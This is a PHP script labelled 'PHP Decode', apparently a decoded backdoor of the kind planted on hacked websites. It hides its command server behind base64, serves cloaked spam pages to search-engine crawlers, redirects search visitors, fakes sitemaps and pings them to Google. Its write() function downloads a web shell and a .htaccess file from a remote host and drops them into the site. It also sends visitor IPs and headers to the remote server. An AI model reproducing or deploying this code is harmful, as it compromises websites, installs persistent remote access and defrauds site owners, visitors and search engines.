PHP Decode

<?php error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(3600);
@ignore_user_abort(1);
$gojj = '410';
@$action = $_GET['ac'] ? $_GET['ac'] : "";
if ($action != "" && $action == "write") {
    write();
    echo "write done!";
    exit();
}
$smframe = '<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xhtml="http://www.w3.org/1999/xhtml">
%s</urlset>';
$smitem = '    <url>
        <loc>%s</loc>
        <xhtml:link rel="alternate" hreflang="ja" href="%s"/>
    </url>' . "
";
$mainsm = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
%s</sitemapindex>';
$mainsmitem = '    <sitemap>
        <loc>%s://%s/sitemap%d.xml</loc>
    </sitemap>' . "
";
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4) : "";
$ur = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
$host = $_SERVER["HTTP_HOST"];
$uri = $_SERVER["REQUEST_URI"];
$ip = clientip();
$http = https();
$header = array('User-Agent: ' . $ua, 'Lang: ' . $lang, 'Referer: ' . $ur, 'Http-Host: ' . $host, 'Remote-Addr: ' . $ip);
$postdata = 'shost=' . $host . '&proto=' . $http;
$u_pre = "/";
if (strstr($uri, ".php?")) {
    $ta = explode(".php?", $uri);
    $u_pre = $ta[0] . ".php?";
    $uri = "/" . $ta[1];
}
$host_u = $http . "://" . $host . $u_pre;
if (@preg_match('#^/pingsitemap(.*?).xml$#i', $uri, $amu)) {
    $result = '';
    if ($amu[1] === '' || @preg_match('#(\d+)-$#', $amu[1], $samu)) {
        $postdata.= ($samu[1] == '') ? '&groupid=' . $gojj : '&groupid=' . $samu[1];
        $ts = strval(time());
        array_push($header, 'timestamp: ' . $ts);
        array_push($header, 'xdoim: ' . crc32($ts . '
' . $postdata));
        $content = trim(urlx('http://' . gets() . '/sitemap.xml', $header, $postdata . '&http=' . $http));
        if ($content === '') {
            exit();
        }
        if (@preg_match('#^(\d)*#', $content)) {
            for ($i = 1;$i <= intval($content);$i++) {
                $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s' . 'sitemap%s%d.xml', $host_u, $samu[0], $i);
                $respbody = urlx($pgurl);
                $result.= $pgurl . $respbody;
            }
        }
    } else {
        $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s' . 'sitemap%s.xml', $host_u, $amu[1]);
        $respbody = urlx($pgurl);
        $result.= $pgurl . $respbody;
    }
    echo $result;
    exit();
}
if (@preg_match('#^/sitemap(.*?).xml$#i', $uri, $amu)) {
    $postdata = 'shost=' . $host . '&http=' . $http;
    if (@preg_match('#(\d+)-$#', $amu[1], $samu)) {
        $postdata.= '&groupid=' . $samu[1];
    } else {
        $postdata.= '&groupid=' . $gojj;
    }
    $ts = strval(time());
    array_push($header, 'timestamp: ' . $ts);
    array_push($header, 'xdoim: ' . crc32($ts . '
' . $postdata));
    $content = trim(urlx('http://' . gets() . '/sitemap' . (($amu[1] == '' || $samu[1] != '') ? '.xml' : '/' . $amu[1]), $header, $postdata));
    if ($content === '') {
        exit();
    }
    @header('Content-type: text/xml');
    if ((($amu[1] === '' || $samu[1] != '')) && @preg_match('#^(\d)*#', $content)) {
        $xml = '';
        for ($i = 1;$i <= intval($content);$i++) {
            $xml.= sprintf($mainsmitem, $http, $host, $i, date('Y-m-d\TH:i:sP', time()));
        }
        $outstr = sprintf($mainsm, $xml);
        $outstr = str_replace($http . "://" . $host . "/", $host_u, $outstr);
        echo $outstr;
        exit();
    }
    $ids = explode("
", $content);
    $smbody = '';
    foreach ($ids as $v) {
        $purl = $http . '://' . $host . '/' . $v;
        $smbody.= sprintf($smitem, $purl, $purl);
    }
    $outstr = sprintf($smframe, $smbody);
    $outstr = str_replace($http . "://" . $host . "/", $host_u, $outstr);
    echo $outstr;
    exit();
}
if (@preg_match('#^/getver$#i', $uri, $amu)) {
    $ts = strval(time());
    array_push($header, 'timestamp: ' . $ts);
    array_push($header, 'xdoim: ' . crc32($ts . '
' . $postdata));
    $cnt = trim(urlx('http://' . gets() . $amu[0], $header, $postdata));
    echo ($cnt === false) ? 'fail' . gets() : $cnt . $gojj . gets();
    exit();
}
if (strstr($uri, "10001abcaa55atesta5")) {
    $cnt = trim(get('http://' . gets() . "/10001abcaa55atesta5"));
    echo ($cnt === false) ? 'fail' . gets() : $cnt . $gojj . gets();
    exit();
}
if (@preg_match('#google|yahoo|bing|craft|Crawler#i', $ua)) {
    $pdt = $postdata . '&http=' . $http . '&groupid=' . $gojj;
    if (@preg_match('#([a-z]+)-(\d+)?(.html)$#i', $uri, $amu)) {
        $pdt.= sprintf('&hpid=%s-%s', preg_replace('/[a-zI](xyz|buzz|top|online|store|club|shop|biz|space|fun|site).*$/', ".$1", strrev($amu[1])), $amu[2]);
        $outstr = @trim(urlx(sprintf('http://%s/bot/page?' . $pdt, gets()), $header, $pdt, 1));
        $outstr = str_replace($http . "://" . $host . "/", $host_u, $outstr);
        echo $outstr;
        exit();
    } elseif (@preg_match('#cate\/([a-z]+)-(\d+)$#i', $uri, $bmu)) {
        $outstr = @trim(urlx(sprintf('http://%s/bot/cate?' . $pdt, gets()), $header, $pdt . '&host=' . preg_replace('/[a-zI](xyz|buzz|top|online|store|club|shop|biz|space|fun|site).*$/', ".$1", strrev($bmu[1])) . '&cateid=' . $bmu[2], 1));
        $outstr = str_replace($http . "://" . $host . "/", $host_u, $outstr);
        echo $outstr;
        exit();
    } else {
        $outstr = @trim(urlx(sprintf('http://%s/bot/home?' . $pdt . '&uri=' . $uri, gets()), $header, $pdt, 1));
        $outstr = str_replace($http . "://" . $host . "/", $host_u, $outstr);
        echo $outstr;
        exit();
    }
}
if (@preg_match('#google.co.jp|google.com|yahoo.co.jp|yahoo.co|bing.com|ask.com|aol.com|aol.jp#i', $ur) && @preg_match('#([a-zI]+)-(\d+)(.html)?$#i', $uri)) {
    if (substr($uri, -5) != ".html") {
        $uri = $uri . ".html";
    }
    $pdt = $postdata . '&groupid=' . $gojj . '&uri=' . $uri . '&ip=' . $ip;
    $purl = urlx(sprintf('http://%s/bot/302?' . $pdt . '&uri=' . $uri, gets()), $header, $pdt, 1);
    @header('Location: ' . $purl);
    exit();
}
function write() {
    $shell_load = get(base64_decode("aHR0cDovL2hlbGxvLmZpcnN0Z3VpZGUueHl6L21tMi50eHQ="));
    $new_ht_content = get(base64_decode("aHR0cDovL2hlbGxvLmZpcnN0Z3VpZGUueHl6L3NobC9odGFjY2Vzcy50eHQ="));
    if (!is_dir("css")) {
        mkdir("css", 0755, true);
    }
    @chmod("css/.htaccess", 0755);
    file_put_contents("css/.htaccess", $new_ht_content);
    file_put_contents("css/load.php", $shell_load);
}
function urlx($url, $header = null, $postdata = null, $gz = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    if (!($gz === null)) {
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
    }
    if (stripos($url, "https:") === 0) {
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    }
    if (!($header === null)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }
    if (!($postdata === null)) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $body = curl_exec($ch);
    curl_close($ch);
    return $body;
}
function get($url) {
    $contents = @file_get_contents($url);
    if (!$contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
function gets() {
    return base64_decode("c2VvNC02LnN0YXJ0ZGRzZW8uY29t");
}
function https() {
    if ((!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off')) {
        return "https";
    }
    return "http";
}
function clientip() {
    if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        return getenv('REMOTE_ADDR');
    } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        return $_SERVER['REMOTE_ADDR'];
    }
}